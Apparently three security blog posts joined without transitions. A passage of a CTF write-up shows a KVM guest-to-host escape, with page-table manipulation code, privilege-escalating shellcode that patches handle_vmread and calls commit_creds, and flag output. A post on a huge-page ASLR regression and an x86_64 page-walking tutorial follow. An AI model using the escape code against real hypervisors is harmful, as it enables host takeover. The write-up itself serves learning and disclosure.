    pgd = (cr3 & ~0xfffull) + page_offset_base;
    pr_info("[exp]: pgd: %llx\n", pgd);

    pgde_page = kzalloc(0x1000, GFP_KERNEL);
    pgde_page_pa = virt_to_phys(pgde_page);

    pgd[272] = pgde_page_pa | 0x7;

    // huge and rwxp
    l2_entry = 0x180000000 | (1<<7) | 0x3;

    pgde_page[0] = l2_entry;

    // in THEORY I can access memory at 0xffff880000000000 now
    pr_info("TEST: %llx\n", *((uint64_t *)0xffff880000000000));

This entry makes it so that at virtual address 0xffff880000000000 is a 1GB mapping of the host’s physical memory in our guest.

I was able to validate this by using gdb to compare the value the pr_info output to dmesg with the actual value at physical address zero:

gef> xp/gx 0
0x0000000000000000:    0xf000ff53f000ff53                       |  S...S...

[   99.596421] [exp]: pgd: ffff947a42a96000
[   99.597523] clocksource: Long readout interval, skipping watchdog check: cs_nsec: 9953621305 wd_nsec: 1
[   99.597611] TEST: f000ff53f000ff53

arbitrary physical memory read/write

At this point we had fully arbitrary physical memory read/write, e.g. we can read/write pages regardless of what their permissions are in the host by going through the mapping we established in the guest, which effectively turns this into a shellcoding exercise.

We scanned memory to find the address of the handle_vmread function in physical memory and overwrote it with the following payload, which just privescs the current thread, then opens and reads the flag file into memory:

    push rax
    push rbx
    push rcx
    push rdx
    push r9
    push r10
    push r11
    push r12
    push r13
    push r14
    push rdi
    push rsi

    // get kaslr base
    mov rax, 0xfffffe0000000004
    mov rax, [rax]
    sub rax, 0x1008e00

    // r12 is kaslr_base
    mov r12, rax

    // commit_creds
    mov r13, r12
    add r13, 0xbdad0

    // init_cred
    mov r14, r12
    add r14, 0x1a52ca0

    mov rdi, r14
    call r13

    // filp_open
    mov r11, r12
    add r11, 0x292420

    // push /root/flag.txt
    mov rax, 0x7478742e6761
    push rax
    mov rax, 0x6c662f746f6f722f
    push rax
    mov rdi, rsp

    // O_RDONLY
    mov rsi, 0
    call r11

    // r10 is filp_ptr
    mov r10, rax

    // kernel_read
    mov r11, r12
    add r11, 0x294c70

    // writeable kernel address
    mov r9, r12
    add r9, 0x18ab000

    mov rdi, r10
    mov rsi, r9
    mov rdx, 0x100
    mov rcx, 0

    call r11

    pop rax
    pop rax

    pop rsi
    pop rdi
    pop r13
    pop r14
    pop r12
    pop r11
    pop r10
    pop r9
    pop rdx
    pop rcx
    pop rbx
    pop rax

Then just trigger the shellcode by executing a vmread, and get the flag by reading it out of the host’s memory:

    // do it
    read_guy(0);

    // scan for flag in memory
    for (i = 0; i < 1024ull << 20; i+= 0x1000) {
        if (!memcmp(0xffff880000000000 + i, "corctf{", 7)) {
            pr_info("flag: %s\n", 0xffff880000000000 + i);
            break;
        }
    }

Incredibly this worked first try on remote! :)

[  127.014896] [exp]: Found vmcs in l1 at offset 730021; value: 2adb000
[  127.014958] [exp]: YOU ARE HERE: ffff9aa4c1f6a000
[  127.014959] [exp]: probably physbase: ffff9aa4c0000000
[  127.014985] [exp]: eptp_value: 244f05e
[  127.014986] [exp]: ept_addr: ffff9aa4c244f000
[  127.014986] [exp]: ept_offset: 9ca00
[  127.015012] [exp]: pml4e_value: 2ba4907
[  127.015013] [exp]: pml4e_addr: ffff9aa4c2ba4000
[  127.015013] [exp]: pml4e_offset: 187400
[  127.015036] [exp]: pgd: ffff8c6102a80000
[  127.016681] clocksource: Long readout interval, skipping watchdog check: cs_nsec: 5383022626 wd_nsec: 5383019837
[  127.016772] TEST: f000ff53f000ff53
[  127.018707] found handle_vmread page at: ffff8800028fd000
[  127.018708] handle_vmread at: ffff8800028fd4d0
[  127.053129] flag: corctf{KvM_3xpl01t5_@r3_5ucH_a_p@1n_1n_Th3_a55!!!}

wrap up

This challenge was super fun and very relevant with Google’s KVM CTF starting up not too long ago. It was awesome learning about EPT and getting a better understanding of some of the internals of KVM, I hope you learned something from reading this! Shoutout to the author FizzBuzz101 for creating the challenge!

Then what are these “certain filesystems”? Those would be: ext4, ext2, btrfs, xfs, and fuse. So, some of the most widely used filesystems.

I’ve only actually verified ext4 and btrfs, though, according to the kernel source code the other filesystems should be affected, but please let me know if I am wrong on any of these being affected. I’ve reproduced the 64-bit regression on Ubuntu w/ ext4, Arch w/ ext4, and Fedora w/ btrfs. I’ve also reproduced the 32-bit regression on those Ubuntu, Arch, and Fedora systems.

being responsible

I contacted Ubuntu security about this (I initially assumed only they were affected) and they informed me that this regression is being tracked by them publicly here:

https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1983357

Though I independently discovered that 64-bit library ASLR had regressed, the bug has been publicly tracked by Ubuntu for quite some time before I found it. The impact of this regression on 32-bit library ASLR was not found by me at all, I learned about it from the bug report above. Props to Ubuntu for having a regression test for this kind of thing!

But, despite this issue being public for over a year on Ubuntu’s bug tracker, it seems like it has gone mostly unnoticed? I have only found it referenced on that Ubuntu bug tracker and here on the debian bugs newsgroup.

The 64-bit regression

For the regression to occur, the prerequisites must be met: an affected filesystem, a recent-ish kernel (past ~year or so), and a library that is >=2MB (this size may need to be larger depending on how the loader is implemented)

In my case all of these were met by default on my Ubuntu 22.04 system which has an ext4 filesystem, a 6.2.0 kernel, and a 2.2MB libc.

With those requirements met, testing for the regression is pretty simple:

┌──(jmill@ubun)-[~]
└─$ cat /proc/self/maps | grep libc | head -n 1
7ff67dc00000-7ff67dc28000 r--p 00000000 103:02 13111263                  /usr/lib/x86_64-linux-gnu/libc.so.6

┌──(jmill@ubun)-[~]
└─$ cat /proc/self/maps | grep libc | head -n 1
7f0c33600000-7f0c33628000 r--p 00000000 103:02 13111263                  /usr/lib/x86_64-linux-gnu/libc.so.6

┌──(jmill@ubun)-[~]
└─$ cat /proc/self/maps | grep libc | head -n 1
7fc6ef800000-7fc6ef828000 r--p 00000000 103:02 13111263                  /usr/lib/x86_64-linux-gnu/libc.so.6

Boom! ASLR is messed up, see!?!?

Okay, but more seriously, lets break down what is going on there.

Here we have an address range representing the location of libc in the cat process’s address space:

7ff67dc00000-7ff67dc28000 r--p 00000000 103:02 13111263                  /usr/lib/x86_64-linux-gnu/libc.so.6

The first value on that line 7fcc68000000 is the ‘base address’ of libc for that run of cat. The base address is randomly chosen by the kernel when the library is mapped in, and everything in libc is a constant offset from that (code, globals, etc…). So for library ASLR to be regressed that would mean that that base address is less random than it should be.

I’ve claimed the regression affects ASLR of libraries >=2MB in size, so let’s compare this allegedly malfunctioning libc ASLR to the ASLR of some smaller library memory mapping.

Here is a little python snippet to run cat /proc/self/maps 1000 times and do a bitwise OR on the libc base addresses we receive. With this, if a bit in the base address is set in any of those 1000 runs we would see it in the result.

In [1]: from subprocess import check_output
   ...: result = 0x0
   ...: for _ in range(0,1000):
   ...:     out = check_output("cat /proc/self/maps | grep libc | head -n1", shell=True).decode()
   ...:     base_address = int(out.split('-')[0], 16)
   ...:     result |= base_address
   ...: hex(result)
Out[1]: '0x7fffffe00000'

Alright, so for 1000 OR’d libc base addresses 0x7fffffe00000 is the combined value we get, meaning the last five nibbles + 1 bit (21 bits) were zero on all of those 1000 runs. So those low 21 bits must not be part of the randomization on the mapping, since they aren’t changing.

Let’s run it again but instead of grepping for the base address of libc, let’s do it for ld which is signifcantly smaller than 2MB (236KB)

In [2]: from subprocess import check_output
   ...: result = 0x0
   ...: for _ in range(0,1000):
   ...:     out = check_output("cat /proc/self/maps | grep ld | head -n1", shell=True).decode()
   ...:     base_address = int(out.split('-')[0], 16)
   ...:     result |= base_address
   ...: hex(result)
Out[2]: '0x7ffffffff000'

Okay, so that is clearly different… libc’s base address had 21 bits of trailing zeros but ld’s base address has 12 bits of trailing zeros.

What we are observing here is that ld’s base address has 9 more bits of randomization than libc’s base address and this wasn’t the case in the past (both because libc was <2MB and because the change that causes this wasn’t implemented yet)

So libc lost 9 bits of its randomization, to… something? for being >=2MB?

The 32-bit breakage

So I claimed 32-bit is straight up broken, let’s see it.

To observe the breakage you’ll of course need a 32-bit binary, I compiled this cat clone (credit: ChatGPT lol) as a 32-bit binary:

// gcc -m32 cat32.c -o cat32
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    FILE *file;
    int c;

    if (argc < 2) {
        fprintf(stderr, "Usage: %s <filename>\n", argv[0]);
        return EXIT_FAILURE;
    }

    file = fopen(argv[1], "r");
    if (file == NULL) {
        perror("Error opening file");
        return EXIT_FAILURE;
    }

    while ((c = fgetc(file)) != EOF) {
        putchar(c);
    }

    fclose(file);

    return EXIT_SUCCESS;
}

Okay so let’s do the same thing as we did for testing the 64-bit regression, just cat out /proc/self/maps but with our 32-bit cat:

┌──(jmill@ubun)-[~/snippets]
└─$ ./cat32 /proc/self/maps | grep libc | head -n1
f7c00000-f7c20000 r--p 00000000 103:02 13111313                          /usr/lib32/libc.so.6

┌──(jmill@ubun)-[~/snippets]
└─$ ./cat32 /proc/self/maps | grep libc | head -n1
f7c00000-f7c20000 r--p 00000000 103:02 13111313                          /usr/lib32/libc.so.6

┌──(jmill@ubun)-[~/snippets]
└─$ ./cat32 /proc/self/maps | grep libc | head -n1
f7c00000-f7c20000 r--p 00000000 103:02 13111313                          /usr/lib32/libc.so.6

And…. yeah….

It’s just completely broken, the base address of libc for this program is just always f7c00000 on my machine.

Why is not being randomized at all on 32-bit? well let’s check how much randomization is applied to 32-bit mappings:

┌──(jmill@ubun)-[~]
└─$ sudo sysctl vm.mmap_rnd_compat_bits
vm.mmap_rnd_compat_bits = 8

We were losing 9 bits on 64-bit, but with only 8 bits of randomization on 32-bit losing that many bits means we just completely lose all randomization.

Huge Page, Huge Problem

So wtf is going on, 9 bits of ASLR are missing on 64-bit libc and 32-bit libc is not being randomized at all???

When I found the 64-bit regression it was 3am and I was hacking at some awful CTF challenge idea (as one does) that involved a partial address overwrite, I was extremely confused as to why more than the last 12 bits were constant and decided I’d look into it in the morning. I went into the lab the next day and spent a while looking at but was still pretty lost as to what was going on. I asked kylebot since he was around if he had any ideas as to what was going on, eventually we came to the conclusion that because it was related to the mappings being >=2MB it must be something to do with Huge Pages.

If you aren’t aware of what Huge Pages are, you should read my blog post on paging :p

In short, on x86_64 there are two variants of ‘Huge Pages’, one of the two is the 2MB Huge Page. Similar to how a normal 4KB Page must be 12 bit aligned, a 2MB Huge Page must be 21 bit aligned. That 9-bit difference in alignment from 12 to 21 is where this regression comes from.

A number of filesystems switched to using thp_get_unmapped_area a long time ago, and more recently (5.18) thp_get_unmapped_area was changed to make all mappings >=2MB have 2MB alignment instead of just DAX mappings:

diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index 38e233a7d9776..f85b04b31bd12 100644
--- a/mm/huge_memory.c
+++ b/mm/huge_memory.c
@@ -582,13 +582,10 @@ unsigned long thp_get_unmapped_area(struct file *filp, unsigned long addr,
 	unsigned long ret;
 	loff_t off = (loff_t)pgoff << PAGE_SHIFT;

-	if (!IS_DAX(filp->f_mapping->host) || !IS_ENABLED(CONFIG_FS_DAX_PMD))
-		goto out;
-
 	ret = __thp_get_unmapped_area(filp, addr, len, off, flags, PMD_SIZE);
 	if (ret)
 		return ret;
-out:
+
 	return current->mm->get_unmapped_area(filp, addr, len, pgoff, flags);
 }
 EXPORT_SYMBOL_GPL(thp_get_unmapped_area);

So, to summarize, major filesystems call thp_get_unmapped_area, this patch makes it so regular file backed mappings that go through thp_get_unmapped_area can be backed by Huge Pages, and some libc’s have (somewhat recently) surpassed 2MB. This all converged such that on some distros libc is being fix-mapped for 32-bit applications and 9-bits of libc’s ASLR for 64-bit applications has been lost (again impact will vary across distros).

I’ve been stressing libc just because it’s used by so many applications and has all the ROP gadgets anyone needs anyways, but just to be clear it’s not just libc, any library >=2MB is potentially affected, and even anonymous mappings >=2MB are being 2MB aligned on my Ubuntu 22.04 system, though I’m still not sure what that’s about…

Wrapping up

The impact of this on 32-bit applications is fairly obvious, ASLR is just broken, exploits can be deterministicly hijack pointers using large library addresses. For 64-bit applications, 19-bits of randomization is still a good amount but it does mean that partial address overwites on pointers to >=2MB libraries are stronger, e.g. the last 2-bytes of a library pointer can be overwritten deterministically (previously only 1-byte overwrites were deterministic).

I noticed the Ubuntu issue was updated recently to say they are increasing the base mmap_rnd_bits to account for the lost randomization, which seems reasonable, 32-bit will get most of its randomization back. It won’t address partial overwites becoming more deterministic though, and it’s only been commited to the 24.04 tree so far from what I can tell.

Hopefully, more distros will look into mitigating this.

Thanks for reading!

Quick note, I’ll only be discussing paging in the context of PML4 (Page Map Level 4) since it’s currently the dominant x86_64 paging scheme and probably will be for a while still.

environment

Its not necessary, but I recommend that you have a Linux kernel debugging setup with QEMU + gdb prepared to follow along with. If you’ve never done this, maybe give this repo a shot: easylkb (I’ve never used it, but I’ve heard good things) or if you want to avoid having to setup the environment yourself, the practice mode on any of the Kernel Security challenges on pwn.college would also work (vm connect and vm debug are the commands to know).

I suggest this because I think running the same commands I am on your own and being able to perform a page walk based on what you can see in gdb is a good test of understanding.

wtf is a page

On x86_64 a page is a 0x1000 byte slice of memory which is 0x1000 byte aligned.

This is the reason why if you ever look at /proc/<pid>/maps you see that all the address ranges will start and end with an address ending with 0x000 because the minimum size of a memory mapping on x86_64 is page size (0x1000 bytes) and pages are required to be ‘page aligned’ (the last 12 bits must be zero).

A ‘Virtual Page’ will be resolved to a single ‘Physical Page’ (aka ‘Page Frame’) by your MMU though many Virtual Pages may refer to the same Physical Page.

what is in a virtual address

PML4, as one might guess, has four level of paging structures, these paging structures are called ‘Page Tables’. A page table is a page-sized memory region which contains 512 8-byte page table entries. Each entry of a page table will refer to either the next level page table or to the final physical address a virtual address resolves to.

The entry from a page table that is used for address translation is based on the virtual address of the memory access. With 512 entries per level, that means 9-bits of the virtual address are used at every level to index into the corresponding page table.

Say we have an address like this:

0x7ffe1c9c9000

The last 12 bits of this address represent the offset within the physical page:

0x7ffe1c9c9000 & 0xfff = 0x0

This means that once we determine the physical address of the page this virtual address resolves to, we will add zero to the result to get the final physical address.

After the last 12 bits, which is again just the offset within the final page, a virtual address is comprised of indicies into the page tables. As mentioned each level of paging uses 9 bits of the virtual address, so the lowest level of the paging structures, a Page Table, is indexed by the next 9 bits of the address (by bit masking with & 0x1ff on the shifted value). For the following levels we just need to shift right by another nine bits each time and again mask off the lower nine bits as our index. Doing this for the address above gives us these indicies:

Level 1, Page Table (PT):
Index = (0x7ffe1c9c9000 >> 12) & 0x1ff = 0x1c9

Level 2, Page Middle Directory (PMD):
Index = (0x7ffe1c9c9000 >> 21) & 0x1ff = 0x0e4

Level 3, Page Upper Directory (PUD):
Index = (0x7ffe1c9c9000 >> 30) & 0x1ff = 0x1f8

Level 4, Page Global Directory (PGD):
Index = (0x7ffe1c9c9000 >> 39) & 0x1ff = 0x0ff

all your base

Now that we know how to index into page tables and vaguely what they contain, where actually are they???

Well each thread of your CPU has a page table base register called cr3.

cr3 holds the physical address of the highest level of the paging structure, aka the Page Global Directory (PGD).

From gdb, when debugging the kernel, you can read the contents of cr3 like this:

gef➤  p/x $cr3
$1 = 0x10d664000

The cr3 register can hold some additional information besides just the PGD address depending on what processor features are in use, so a more general way of getting the physical address of the PGD from the cr3 register is to mask off the lower 12 bits of its contents like so:

gef➤  p/x $cr3 & ~0xfff
$2 = 0x10d664000

page table entries

Lets look at what is at that physical address we got from cr3 in gdb. The monitor xp/... command that is exposed to gdb by the QEMU Monitor lets us print out the physical memory of the vm and doing monitor xp/512gx ... will print the entire contents, all 512 entries, of the PGD referred to by cr3:

gef➤  monitor xp/512gx 0x10d664000
...
000000010d664f50: 0x0000000123fca067 0x0000000123fc9067
000000010d664f60: 0x0000000123fc8067 0x0000000123fc7067
000000010d664f70: 0x0000000123fc6067 0x0000000123fc5067
000000010d664f80: 0x0000000123fc4067 0x0000000123fc3067
000000010d664f90: 0x0000000123fc2067 0x000000000b550067
000000010d664fa0: 0x000000000b550067 0x000000000b550067
000000010d664fb0: 0x000000000b550067 0x0000000123fc1067
000000010d664fc0: 0x0000000000000000 0x0000000000000000
000000010d664fd0: 0x0000000000000000 0x0000000000000000
000000010d664fe0: 0x0000000123eab067 0x0000000000000000
000000010d664ff0: 0x000000000b54c067 0x0000000008c33067

This produces a lot of output and most of it is zero, so I’m only including the tail of the output here.

This output probably doesn’t mean much to you yet, but we can observe some patterns in the data, lots of the 8-byte entries end in 0x67, for example.

decoding a PGD entry

From the PGD output above, lets take the PGD entry at 0x000000010d664f50 with value 0x0000000123fca067 as an example to see how to decode an entry.

and lets do this with the binary representation of that entry’s value:

gef➤  p/t 0x0000000123fca067
$6 = 100100011111111001010000001100111

Here is a little diagram to show what each bit in the entry represents:

~ PGD Entry ~                                                   Present ──────┐
                                                            Read/Write ──────┐|
                                                      User/Supervisor ──────┐||
                                                  Page Write Through ──────┐|||
                                               Page Cache Disabled ──────┐ ||||
                                                         Accessed ──────┐| ||||
                                                         Ignored ──────┐|| ||||
                                                       Reserved ──────┐||| ||||
┌─ NX          ┌─ Reserved                             Ignored ──┬──┐ |||| ||||
|┌───────────┐ |┌──────────────────────────────────────────────┐ |  | |||| ||||
||  Ignored  | ||               PUD Physical Address           | |  | |||| ||||
||           | ||                                              | |  | |||| ||||
0000 0000 0000 0000 0000 0000 0000 0001 0010 0011 1111 1100 1010 0000 0110 0111
       56        48        40        32        24        16         8         0

and here’s a key for what each of those labels mean:

• NX (Not Executable) – if this bit is set, no memory mapping that is a descendant of this PGD entry will be executable.
• Reserved – these values must be zero.
• PUD Physical Address – the physical address of the PUD associated with this PGD entry.
• Accessed – If any pages referred to by this entry or its descendants, this bit will be set by the MMU, and can be cleared by the OS.
• Page Cache Disabled (PCD) – pages descendant of this PGD entry should not enter the CPU’s cache hierarchy, sometimes also called the ‘Uncacheable’ (UC) bit.
• Page Write Through (WT) – writes to pages descendant of this PGD entry should immediately write to RAM rather than buffering writes to CPU cache before eventually updating RAM.
• User/Supervisor – if this bit is unset, pages descendant of this PGD cannot be accessed unless in supervisor mode.
• Read/Write – if this bit is unset, pages descendant of this PGD cannot be written to.
• Present – if this bit is unset then the processor will not use this entry for address translation and none of the other bits will apply.

The bits that we really care about here are the the Present bit, the ones representing the physical address of the next level of the paging structures, the PUD Physical Address bits, and the permission bits: NX, User/Supervisor, and Read/Write.

• The Present bit is super important because without it set the rest of the entry is ignored.
• The PUD Physical Address lets us continue page walking by telling us where the physical address of the next level of the paging structures is at.
• The Permission bits all apply to pages which are descendants of the PGD entry and determine how those pages are able to be accesssed.

The remaining bits are not as important for our purposes:

• The Accessed bit is set if the entry was used in translating a memory access, its not important for page walking.
• Page Cache Disabled and Page Write Through are not used for normal memory mappings and do not affect page translation or permissions so lets ignore them.

So decoding this entry, we learn:

The PUD is Present:

gef➤  p/x 0x0000000123fca067 & 0b0001
$18 = 0x1

The mappings in the PUD and below may be able to be Writable:

gef➤  p/x 0x0000000123fca067 & 0b0010
$19 = 0x2

The mappings in the PUD and below may be able to be User accessible:

gef➤  p/x 0x0000000123fca067 & 0b0100
$20 = 0x4

The PUD’s physical address ( bits (51:12] ) is 0x123fca000:

gef➤  p/x 0x0000000123fca067 & ~((1ull<<12)-1) & ((1ull<<51)-1)
$21 = 0x123fca000

The mappings in the PUD and below may be able to be Executable:

gef➤  p/x 0x0000000123fca067 & (1ull<<63)
$22 = 0x0

decoding entries for all levels

Now that we’ve seen how to decode a PGD entry, decoding the rest of the levels aren’t so much different, at least in the common case.

For all of these diagrams ‘X’ means the bit can be either zero or one, otherwise, if a bit is set to a specific value then that value is either required by the architecture or by the specific encoding shown by the diagram.

PGD

~ PGD Entry ~                                                   Present ──────┐
                                                            Read/Write ──────┐|
                                                      User/Supervisor ──────┐||
                                                  Page Write Through ──────┐|||
                                               Page Cache Disabled ──────┐ ||||
                                                         Accessed ──────┐| ||||
                                                         Ignored ──────┐|| ||||
                                                       Reserved ──────┐||| ||||
┌─ NX          ┌─ Reserved                             Ignored ──┬──┐ |||| ||||
|┌───────────┐ |┌──────────────────────────────────────────────┐ |  | |||| ||||
||  Ignored  | ||               PUD Physical Address           | |  | |||| ||||
||           | ||                                              | |  | |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX 0XXX XXXX
       56        48        40        32        24        16         8         0

This one we’ve already seen, I described it in detail in the previous section, but here it is without that specific PGD entry filled in.

PUD

~ PUD Entry, Page Size unset ~                                  Present ──────┐
                                                            Read/Write ──────┐|
                                                      User/Supervisor ──────┐||
                                                  Page Write Through ──────┐|||
                                               Page Cache Disabled ──────┐ ||||
                                                         Accessed ──────┐| ||||
                                                         Ignored ──────┐|| ||||
                                                      Page Size ──────┐||| ||||
┌─ NX          ┌─ Reserved                             Ignored ──┬──┐ |||| ||||
|┌───────────┐ |┌──────────────────────────────────────────────┐ |  | |||| ||||
||  Ignored  | ||               PMD Physical Address           | |  | |||| ||||
||           | ||                                              | |  | |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX 0XXX XXXX
       56        48        40        32        24        16         8         0

As you can see the diagram above for the PUD is very similar to the one for the PGD, the only difference is the introduction of the ‘Page Size’ bit. The Page Size bit being set changes how we need to interpret a PUD entry quite a lot. For this diagram we are assuming it is unset, which is the most common case.

PMD

~ PMD Entry, Page Size unset ~                                  Present ──────┐
                                                            Read/Write ──────┐|
                                                      User/Supervisor ──────┐||
                                                  Page Write Through ──────┐|||
                                               Page Cache Disabled ──────┐ ||||
                                                         Accessed ──────┐| ||||
                                                         Ignored ──────┐|| ||||
                                                      Page Size ──────┐||| ||||
┌─ NX          ┌─ Reserved                             Ignored ──┬──┐ |||| ||||
|┌───────────┐ |┌──────────────────────────────────────────────┐ |  | |||| ||||
||  Ignored  | ||                PT Physical Address           | |  | |||| ||||
||           | ||                                              | |  | |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX 0XXX XXXX
       56        48        40        32        24        16         8         0

Again, the PMD diagram is very similar to the previous diagram, and like with the PUD entry, we are ignoring the Page Size bit for now.

PT

~ PT Entry ~                                                    Present ──────┐
                                                            Read/Write ──────┐|
                                                      User/Supervisor ──────┐||
                                                  Page Write Through ──────┐|||
                                               Page Cache Disabled ──────┐ ||||
                                                         Accessed ──────┐| ||||
┌─── NX                                                    Dirty ──────┐|| ||||
|┌───┬─ Memory Protection Key              Page Attribute Table ──────┐||| ||||
||   |┌──────┬─── Ignored                               Global ─────┐ |||| ||||
||   ||      | ┌─── Reserved                          Ignored ───┬─┐| |||| ||||
||   ||      | |┌──────────────────────────────────────────────┐ | || |||| ||||
||   ||      | ||            4KB Page Physical Address         | | || |||| ||||
||   ||      | ||                                              | | || |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX
       56        48        40        32        24        16         8         0

At the Page Table entry things get more interesting, there are some new fields/attributes that weren’t there in the previous levels.

Those new fields/attributes are:

• Memory Protection Key (MPK or PK): This is an x86_64 extension that allows assigning a 4-bit keys to pages which can be used to configure memory permissions for all pages with that key.
• Global: This has to do with how the TLB (Translation Lookaside Buffer, the MMU’s cache for virtual to physical address translations) caches the translation for th page, this bit being set means the page will not be flushed from the TLB on context switch, this is commonly enabled on Kernel pages to reduce TLB misses.
• Page Attribute Table (PAT): If set, the MMU should consult the Page Attribute Table MSR when determining whether the ‘Memory Type’ of the page, e.g. whether this page is ‘Uncacheable’, ‘Write Through’, or one of a few other memory types.
• Dirty: This bit is similar to the accessed bit, it gets set by the MMU if this page was written to and must be reset by the OS.

None of these actually affect the address translation itself, but the configuration of the Memory Protection Key can mean that the expected memory access permissions for the page referred to by this entry may be stricter than what is encoded by the entry itself.

Unlike the previous levels, since this is the last level, the entry holds the final physical address of the page associated with the virtual address we are translating. Once you apply a bit-mask to get the physical address bytes and add the last 12 bits of the original virtual address (the offset within the page), you have your physical address!

Hopefully, this doesn’t seem so bad, the general case of page walking is just a few steps:

• Convert the virtual address to indicies and a page offset by shifting the address and applying bitmasks
• Read cr3 to get the physical address of the PGD
• For each level until the last:
  • Use the indicies calculated from the virtual address to know what entry from the page table to use
  • Apply a bitmask to the entry to get the physical address of the next level
• On the final level, again find the entry corresponding with the index from the virtual address
• Apply a bitmask to get the physical address of the page associated with the virtual address
• Add offset within the page from the virtual address to the page’s physical address
• Done!

hugeify

As mentioned, the previous diagrams for the PUD and PMD are for the common case, when the Page Size bit is not set.

So, what about when it is set?

When it is set that is effectively telling the MMU, pack it up, we’re done here, don’t keep page walking, the current entry holds the physical address of the page we are looking for.

But there is a bit more to it than that, the physical address of the page in entries where the Page Size bit is set isn’t for a normal 4KB (0x1000 byte) page, it is a ‘Huge Page’ which comes in two variants: 1GB Huge Pages and 2MB Huge Pages.

When a PUD entry has the Page Size bit set then it refers to a 1GB Huge Page, and when a PMD has the Page Size bit set it refers to a 2MB Huge Page.

But where do the 1GB and 2MB numbers come from?

Each page table level holds up to 512 entries, that means a PT can refer to at most 512 pages and 512 * 4KB = 2MB. So a Huge Page at the PMD level effectively means that the entry refers to a page that is the same size as a full PT.

Extending this to the PUD level, we just multiply by 512 again to get the size of a full PMD that has full PTs: 512 * 512 * 4KB = 1GB.

Huge Page PUD

~ PUD Entry, Page Size set ~                                     Present ─────┐
                                                             Read/Write ─────┐|
                                                       User/Supervisor ─────┐||
                                                   Page Write Through ─────┐|||
                                                Page Cache Disabled ─────┐ ||||
                                                          Accessed ─────┐| ||||
                                                            Dirty ─────┐|| ||||
┌─── NX                                                Page Size ─────┐||| ||||
|┌───┬─── Memory Protection Key                         Global ─────┐ |||| ||||
||   |┌──────┬─── Ignored                             Ignored ───┬─┐| |||| ||||
||   ||      | ┌─── Reserved           Page Attribute Table ───┐ | || |||| ||||
||   ||      | |┌────────────────────────┐┌───────────────────┐| | || |||| ||||
||   ||      | || 1GB Page Physical Addr ||      Reserved     || | || |||| ||||
||   ||      | ||                        ||                   || | || |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XX00 0000 0000 0000 000X XXXX 1XXX XXXX
       56        48        40        32        24        16         8         0

When the page size bit is set notice that the PUD entry looks more like a PT entry than a normal PUD entry, which makes sense because it is also referring to a page rather than a page table.

There are some distinctions from a PT entry though:

1. The Page Size bit is where the Page Attribute Table (PAT) bit is at on a PT, so the PAT bit is relocated to bit 12.
2. The physical address of a 1GB Huge Page is required to have 1GB alignment in physical memory, this is why the new reserved bits exist and why bit 12 is able to be repurposed as the PAT bit.

Overall, not too much new here, the only other differences when dealing with huge pages really is that a different bitmask needs to be applied to the address to get the bits for the physical address of the page, also the 1GB alignment means when calculating the physical address of a virtual address within the page we need to use a mask based on 1GB alignment instead of 4KB alignment.

Huge Page PMD

~ PMD Entry, Page Size set ~                                     Present ─────┐
                                                             Read/Write ─────┐|
                                                       User/Supervisor ─────┐||
                                                   Page Write Through ─────┐|||
                                                Page Cache Disabled ─────┐ ||||
                                                          Accessed ─────┐| ||||
                                                            Dirty ─────┐|| ||||
┌─── NX                                                Page Size ─────┐||| ||||
|┌───┬─── Memory Protection Key                         Global ─────┐ |||| ||||
||   |┌──────┬─── Ignored                             Ignored ───┬─┐| |||| ||||
||   ||      | ┌─── Reserved         Page Attribute Table ─────┐ | || |||| ||||
||   ||      | |┌───────────────────────────────────┐┌────────┐| | || |||| ||||
||   ||      | ||     2MB Page Physical Address     ||Reserved|| | || |||| ||||
||   ||      | ||                                   ||        || | || |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XXXX XXXX XXX0 0000 000X XXXX 1XXX XXXX
       56        48        40        32        24        16         8         0

This is very similar to the PUD entry with the Page Size bit set, the only thing that has changed is that since the alignment is smaller for the 2MB pages at this level, there are less reserved bits set.

The 2MB alignment means the offset within the huge page should be calculated using a mask based on 2MB alignment.

going for a walk

So the last section was a lot of diagrams, in this section lets look at how to actually do a page walk manually in gdb.

preparation

With a booted up vm and gdb attached I first will pick an address to do a page walk on, as an example I’ll use the current stack pointer while running in the kernel:

gef➤  p/x $rsp
$42 = 0xffffffff88c07da8

Now we have the address we are going to walk, lets also get the physical address of the PGD from cr3:

gef➤  p/x $cr3 & ~0xfff
$43 = 0x10d664000

I’ll use this little python function to extract the page table offsets from the virtual address:

def get_virt_indicies(addr):
    pageshift = 12
    addr = addr >> pageshift
    pt, pmd, pud, pgd = (((addr >> (i*9)) & 0x1ff) for i in range(4))
    return pgd, pud, pmd, pt

which outputs this:

In [2]: get_virt_indicies(0xffffffff88c07da8)
Out[2]: (511, 510, 70, 7)

PGD

The index we got for the PGD based on the virtual address was 511, multiplying 511 by 8 will let us get the byte offset into the PGD that the PGD entry for our virtual address starts at:

gef➤  p/x 511*8
$44 = 0xff8

adding that offset to the PGD’s physical address gets us the physical address of the PGD entry:

gef➤  p/x 0x10d664000+0xff8
$45 = 0x10d664ff8

and reading the physical memory at that address gets us the PGD entry itself:

gef➤  monitor xp/gx 0x10d664ff8
000000010d664ff8: 0x0000000008c33067

Looks like the entry has the last three bits (present, user, and writeable) set, and the top bit (NX) is unset, meaning there aren’t any restrictions so far on the permissions of the pages associated with this virtual address.

Masking the bits [12, 51) gives us the physical address of the PUD:

gef➤  p/x 0x0000000008c33067 & ~((1<<12)-1) & ((1ull<<51) - 1)
$46 = 0x8c33000

PUD

The index we got for the PUD based on the virtual address was 510, multiplying 510 by 8 will let us get the byte offset into the PUD that the PUD entry for our virtual address starts at:

gef➤  p/x 510*8
$47 = 0xff0

adding that offset to the PUD’s physical address gets us the physical address of the PUD entry:

gef➤  p/x 0x8c33000+0xff0
$48 = 0x8c33ff0

and reading the physical memory at that address gets us the PUD entry itself:

gef➤  monitor xp/gx 0x8c33ff0
0000000008c33ff0: 0x0000000008c34063

